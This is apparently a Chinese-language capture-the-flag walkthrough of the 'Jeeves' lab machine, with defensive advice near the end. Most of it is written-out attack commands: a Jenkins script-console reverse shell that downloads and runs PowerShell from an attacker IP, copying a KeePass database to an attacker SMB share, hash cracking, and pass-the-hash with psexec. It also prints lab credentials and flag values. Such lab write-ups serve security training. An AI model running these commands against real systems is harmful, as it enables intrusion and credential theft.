[Meachines] [Medium] Jeeves Jenkins-RCE+KeePass-Crack+Pass-the-Hash+(NTFS)ADS攻击
字数 1718 2025-08-20 18:18:10
Jeeves 渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.63 --min-rate 1000 -sC -sV -Pn
扫描结果:
- 80/tcp: Microsoft IIS httpd 10.0
- 135/tcp: Microsoft Windows RPC
- 445/tcp: Microsoft Windows SMB (workgroup: WORKGROUP)
- 50000/tcp: Jetty 9.4.z-SNAPSHOT (Jenkins)
1.2 Web目录枚举
对Jenkins服务(50000端口)进行目录扫描:
feroxbuster --url http://10.10.10.63:50000/ --filter-status 404
2. 初始访问
2.1 Jenkins脚本控制台利用
- 访问Jenkins管理界面:
http://10.10.10.63:50000/manage - 进入"Script Console"
- 执行以下命令获取当前权限信息:
println "powershell.exe /c whoami /priv".execute().text
- 执行反向shell:
println "powershell.exe /c iex (New-Object Net.WebClient).DownloadString('http://10.10.16.17/Invoke-PowerShellTcp.ps1')".execute().text
3. 权限提升
3.1 获取KeePass数据库
- 在攻击机设置SMB共享:
impacket-smbserver share /tmp/ -smb2support
- 从目标机器复制KeePass数据库:
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.16.17\share
3.2 破解KeePass数据库
- 使用keepass2john提取哈希:
keepass2john CEH.kdbx > CEH.hash
- 使用hashcat破解:
hashcat -m 13400 CEH.hash /usr/share/wordlists/rockyou.txt --user
- 成功破解密码:
moonshine1
3.3 分析KeePass内容
使用kpcli查看数据库内容:
kpcli -kdb CEH.kdbx
重要凭据:
- Backup stuff:
- NTLM哈希:
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
- NTLM哈希:
- DC Recovery PW:
- 用户名:
administrator - 密码:
S1TjAtJHKsugh9oC4VZl
- 用户名:
- Jenkins admin:
- 注释: "We don't even need creds! Unhackable!"
3.4 使用NTLM哈希进行横向移动
使用impacket工具进行哈希传递攻击:
impacket-psexec Administrator@10.10.10.63 -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
3.5 获取最终flag
- 查找隐藏文件流:
dir /R
- 读取隐藏的root.txt内容:
powershell.exe /c Get-Content -Path .\hm.txt -Stream root.txt
4. 关键知识点总结
4.1 攻击技术
-
Jenkins脚本控制台RCE:
- Jenkins未授权访问或弱凭证导致的脚本控制台滥用
- Groovy脚本执行系统命令
-
KeePass数据库攻击链:
- KeePass数据库文件识别与提取
- keepass2john工具使用
- Hashcat破解KeePass数据库
-
Pass-the-Hash攻击:
- 使用NTLM哈希进行身份验证绕过
- impacket工具套件的使用(psexec)
-
NTFS ADS(Alternate Data Streams):
- Windows NTFS文件系统的隐藏数据流
- 使用
dir /R查看ADS - 使用PowerShell读取ADS内容
4.2 防御建议
-
Jenkins安全:
- 启用身份验证
- 限制脚本控制台访问
- 定期更新Jenkins版本
-
凭据管理:
- 避免在多个账户间共享凭据
- 使用强密码保护密码数据库
- 定期轮换凭据
-
哈希传递防御:
- 启用Credential Guard(Windows)
- 限制本地管理员权限
- 实施LSA保护
-
NTFS ADS监控:
- 定期扫描可疑的ADS
- 监控异常文件操作
5. 工具清单
-
信息收集:
- Nmap
- Feroxbuster
-
漏洞利用:
- Netcat/PowerShell反向shell
- impacket-smbserver
-
密码破解:
- keepass2john
- hashcat
-
横向移动:
- impacket-psexec
-
数据提取:
- kpcli
- PowerShell ADS读取
6. Flag获取路径
-
用户flag:
- 路径:
C:\Users\kohsuke\Desktop\user.txt - 值:
e3232272596fb47950d59c4cf1e7066a
- 路径:
-
系统flag:
- 路径:
hm.txt:root.txt(NTFS ADS) - 值:
afbc5bd4b615a60648cec41c6ac92530
- 路径:
本教学文档完整呈现了从信息收集到最终获取系统权限的全过程,涵盖了多种高级攻击技术,特别关注了密码数据库攻击和哈希传递攻击的实际应用。